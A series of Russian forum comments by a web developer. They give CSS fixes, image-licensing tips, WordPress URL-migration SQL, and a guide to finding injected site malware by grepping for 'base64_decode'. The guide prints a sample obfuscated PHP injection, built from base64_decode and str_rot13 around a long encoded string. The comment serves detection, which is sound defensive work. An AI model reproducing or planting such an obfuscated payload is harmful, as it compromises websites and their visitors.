Чо так слабо? Даже с диабетом можно получить пару лямов.
А если так?
Простите, не вмещается.
Не всё так гладко в Датском королевстве?
Ставлю Антона Белова. Кто больше?
5.0, шрифты разного размера.
http://shopgadget.org/DESIGN/DIVE/style.css
Строка #133:
.catalog_main .cat_item .cat_text { width: 170px; height: 95px; font-family: Tahoma; font-size: 11px; color: #858686; margin: 5px 5px 0 10px; overflow: hidden;}
Заменить следующим:
.catalog_main .cat_item .cat_text { width: 170px; height: 95px; font: 9px Tahoma; font-size: 11px; color: #858686; margin: 5px 5px 0 10px; overflow: hidden;}
Строка #135:
.catalog_main .cat_item a {display: block; font-size: 18px; color: black; font-family: Tahoma; text-decoration: none; margin-bottom: 5px;}
.catalog_main .cat_item a {display: block; font-size: 18px; color: black; font: 16px Tahoma; text-decoration: none; margin-bottom: 5px;}
Картинки нарыть можно на flickr.com: в настройках поиска поставить галочку напротив "Only search within Creative Commons-licensed content", и далее по необходимости "Find content to use commercially", "Find content to modify, adapt, or build upon".
FAQ по типам лицензий тут.
Можно было бы поколдовать с worker_priority в nginx, чтобы заставить сервер отдавать статику сразу, а уже потом догружать глючные скрипты и кривые запросы.
Не за что :)
Но Вы не совсем точно объяснили где был вирус, ббкод не при чём :)
==================================
Вы на почте спрашивали как находить в будущем вирусы, напишу лучше сюда, может кому-нибудь помогу.
Ищется довольно легко, вариантов не много.
Первый - это прямая вставка в код в открытом виде. Но ведь я тогда был бы не нужен, верно? :)
Второй вариант - использование обфускаторов, то есть вместо "hello" мы получаем набор букв и символов вида "aGVsbG8=". Основной поддержкой такой обфускации является вызов base64. Вредоносный код, к примеру, может быть записан в таком виде:
$somecrainsignvar="ny2fmed8"; echo base64_decode(str_rot13('VQkmL3WcpUD+VN0XqzSlVTquFaAVo3A0VQ0tXPtvnUE0pQbvVQ09VTEiL3IgMJ50YzkiL2S0nJ9hYaOlo3EiL29fXFN/VPWbqUEjBv8irJShMTI4VvN6VPWbqUEjBv8irJShMTI4Vvx7VTEiL3IgMJ50YaqlnKEyXUIhMKAwLKOyXPVyZ0AmL3WcpUDtp3WwCFpvVPftM2SXp0uip3DtXlNvYKyuozEyrP51ozxhL2ZiqzIlnJM5YKLkC2yxCFVeGJS0nP5zoT9ipvuALKEbYaWuozEioFtcVPbmZQNjZPxeVvMapz91pQ0lWaAyo3WyMw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5lMJMypaWypvxeVPVzpTSlLJ1yqTIlCFEeMKy3o3WxWaAyCFEmMFM1pw0kWxuHISOsHxITEIWSHw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5IHxjcXlVzMTIzLKIfqS9eMKy3o3WxCFptqUyjMG0aqTI4qP9dLKMup2AlnKO0WlHmEFHmDl9mL3WcpUDyZ0HvXFx7QDbtCP9mL3WcpUD+VN==')); $crain="";
... но у всех таких обфускаций есть одно общее - упоминание "base64_decode", что используется на здоровых сайтах довольно редко, да и то в шаблонах, поэтому условно считаем любой найденных фрагмент "base64_decode" вредоносным кодом.
Теперь как искать:
1) Нужен дамп всех файлов сайта.
2) Нужно устройство для поиска, но так как я использую для работы OS Ubuntu, то у меня по умолчанию есть шустрая команда 'grep', которая позволяет искать текст в указанной папке. Запрос на поиск довольно прост: "grep <параметры> <текст для поиска> <путь для поиска>. К примеру наш запрос может иметь следующий вид: "grep -rl base64_decode /home/www/site.ru", где <grep> - вызов команды, <-rl> - указание на включение в поиск всех вложенных папок в основную для поиска (r = рекурсивно = все папки, что будут в папке для поиска), <base64_decode> - фраза для поиска, </home/www/site.ru> - путь для поиска.
И да, grep по умолчанию доступен в большинстве дистрибутивов Linux и *BSD, поэтому если у Вас есть доступ к ssh на сервере, то искать вирусную вставку можно прямо с сервера, не выкачивая файлы сайта.
Пыщ-пыщ туда:
UPDATE wp_options SET option_value = REPLACE(option_value, 'http://domain.ru', 'http://127.0.0.1') WHERE option_name = 'home' OR option_name = 'siteurl';UPDATE wp_posts SET guid = REPLACE(guid, 'http://domain.ru','http://127.0.0.1');UPDATE wp_posts SET post_content = REPLACE(post_content, 'http://domain.ru', 'http://127.0.0.1');
Пыщ-пыщ обратно:
UPDATE wp_options SET option_value = REPLACE(option_value, 'http://127.0.0.1', 'http://domain.ru') WHERE option_name = 'home' OR option_name = 'siteurl';UPDATE wp_posts SET guid = REPLACE(guid, 'http://127.0.0.1','http://domain.ru');UPDATE wp_posts SET post_content = REPLACE(post_content, 'http://127.0.0.1', 'http://domain.ru');
Ну раз сожалеете, что сайт стоит миллион, тогда ладно.